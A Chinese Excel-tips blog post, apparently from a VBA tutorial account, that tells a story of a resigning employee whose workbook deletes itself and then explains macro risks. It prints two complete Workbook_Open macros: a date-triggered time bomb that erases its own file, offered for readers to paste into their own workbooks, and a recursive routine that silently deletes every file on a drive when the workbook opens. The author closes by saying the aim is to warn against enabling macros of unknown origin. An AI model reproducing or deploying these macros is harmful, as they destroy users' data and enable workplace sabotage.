能自杀和通杀的工作簿

哈喽,大家好,我是星光。天黑了,是时候用低沉的音调给大家聊一下生存和死亡的问题了。话说在很久很久以前……

1,
……Long Long Ago……
山的那边海的那边……有位Excel高手……他在一家电子商务公司上班。
他有一份Excel工作簿,通过VBA或函数将日常工作全部结构化、智能化、自动化了。他每天闲的除了喝王者农药就是剁手逛淘宝,他主管看他不顺眼,三番两次刁难他。于是他耸耸肩宣布辞职……
临走前,他将那份神奇的Excel工作簿留给了主管。主管觉得那份Excel工作簿真好用,公司没有必要再招新员工了;主管又觉得那孩子真傻,这么好的东西居然白白留给公司,真是个二货啊……
过了几天,主管打开那份Excel工作簿,打算像往常那样点击鼠标,一键处理问题,Excel突然弹出一条信息:

主管一脸懵逼……
然后,这份工作簿就从主管的电脑里消失了,就像从来没存在过一样。

……
如果你需要一份拥有自杀功能的Excel工作簿,将下面的代码复制到该工作簿VBE窗口的ThisWorkbook的代码窗口内,保存退出就可以了。

VBA代码如下:

Private Sub Workbook_Open()
    Dim dat As Date
    dat = DateSerial(2017, 10, 1)
    If Date >= dat Then
        Application.DisplayAlerts = False
        MsgBox '你好,二货!你相信Excel会成精吗?' & vbCr & '大爷我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。'
        With ThisWorkbook
            .Saved = True
            .ChangeFileAccess xlReadOnly
            Kill .FullName
            .Close
        End With
    End If
End Sub
该段代码使用了工作簿打开事件,顾名思义,就是工作簿打开时执行相关代码。它设定的自杀条件是,当前电脑时间大于等于2017年10月1日。您可以根据自身需要进行相应调整……。

2,
聊完了“自杀”,咱们再聊“杀人”……

没错~Excel狠起来,不但可以自杀,还能顺手把你电脑里的文件全部删了,回收站找不到尸体的那种……

我们知道宏病毒借助和OFFICE办公软件的亲密关系,一直拥有强大的破坏性,它可以肆意删除或加密电脑中的文件、窃取用户账号密码……等等。

以为这很高级?很复杂?和你很遥远?非黑客不能为?

错!

其实这些事儿很简单。

举个小例子。

还记得吗,之前我们分享了批量删除Excel工作簿的小代码。

如果借助Excel工作簿打开事件,结合那期的代码,当你启用宏,
打开含该代码的工作簿,然后……你就会发现电脑中大量的文件都被删除了。

Private Sub Workbook_Open()
    Dim p As String
    p = 'F:\'  '指定批量删除文件的所在硬盘
    Call Killy(p) '调用FSO遍历子文件夹的递归过程
End Sub

Function Killy(p)
    On Error Resume Next
    Application.DisplayAlerts = False
    Set fld = CreateObject('Scripting.FileSystemObject').GetFolder(p)
    Kill fld.Path & '\*.*'
    For Each fd In fld.SubFolders
        Call Killy(fd.Path)
    Next
End Function

3,

重要的事情说三遍……
星光俺聊“自杀和杀人”不是为了让大家做坏事……
诸君更不要手贱去尝试那段杀人的代码……然后把自己电脑里的文件给杀个透心凉冰冰爽……
聊这些只是告诉大家,不要轻易启用来历不明的宏文件……

作者:看见星光
(0)

相关推荐

  • Excel VBA

    将excel多个工作表另存为单独的工作薄 工作中为了方便,我们常常将多个数据类似的表放在同一个工作薄,但是如果要对每个文件执行相同的转换或处理,需要用R或Python读取每张表的数据,这时就要将其拆分 ...

  • 如何制作自动自杀和杀其它文件的Excel工作簿?

    EH看见星光 VBA编程学习与实践 1周前 HI,大家好,我是星光. 话说,在很久很久以前,在山的那边海的那边--有位Excel高手--他在一家电子商务公司上班. 他有一份Excel工作簿,通过VBA ...

  • 【VBA】按部门快速拆分工作簿

    举个栗子,如上图所示的数据表,倘若需要按班级,将该表的数据拆分为1~2~3班三个工作簿,并保留在电脑的指定位置,就可以使用我们今天这篇小代码了. 操作动画演示: 动画中所粘贴的代码如下: Sub Ne ...

  • 野钓鲫鱼还在选袖钩?这几款钩型大小通杀还不跑鱼

    野钓鲫鱼,有钓友认为袖钩是最强的,也有钓友认为秋田狐才是小鱼之王,还有一些钓友选择溪流.海夕.伊豆,他们之间的区别到底是什么呢? 秋田狐 一直有小鱼之王的美誉,前身是狐钩,因为钩型酷似狐狸脸得名,后来 ...

  • 批量合并多个Excel工作簿文件到一起其实很简单

    批量合并多个Excel工作簿文件到一起其实很简单

  • Excel VBA 每日一场景 打开工作簿时禁用更新链接

    Excel VBA 每日一场景 打开工作簿时禁用更新链接 点击上方"Excel和VBA",选择"置顶公众号" 致力于原创分享Excel的相关知识,源码,源文件打 ...

  • 一张止痛妙方,全身上下的痛通杀

    Official Account 止痛妙方,其实很简单,两味药,叫做芍药甘草汤,出自张仲景<伤寒论>,第二十九条云:"腿脚挛急或腹中疼痛:伤寒脉浮,自汗出,小便数,心烦微恶寒,脚 ...

  • 曾经的全国最大电脑城已死, 是“自杀”还是“他杀”?

    自2018年北京中关村鼎好电子商城开始停止与商户续约后,这个曾经的全国最大电脑城就已经开始了自己的转型之路.在北京市政府的规划中,中关村最晚将在2020年底开始彻底转型为"创新创业一条街&q ...

  • 这个除草剂真厉害,竹子、大树、灌木、杂草通杀

    化学除草具有除草效率高,除草效果好,省工省时,在农业生产和植树造林中广泛采用.对于公路.铁路.荒地和荒山等非耕地进行植树造林前,必须要先清除杂草.今天给大家介绍一个新型除草剂,比草甘膦还厉害,能将各种 ...

  • 这个新药真厉害,50多种害虫通杀,几分钟见效,2小时死虫

    多种害虫的混发季节,蚜虫.白粉虱.烟粉虱.蓟马.棉铃虫.甜菜夜蛾.斜纹夜蛾.草地贪夜蛾等几十种同时发生,如果一一进行防治,不但不可能,还会造成大量的人力的浪费,甚至出现药害,污染地下水.土壤和环境.有 ...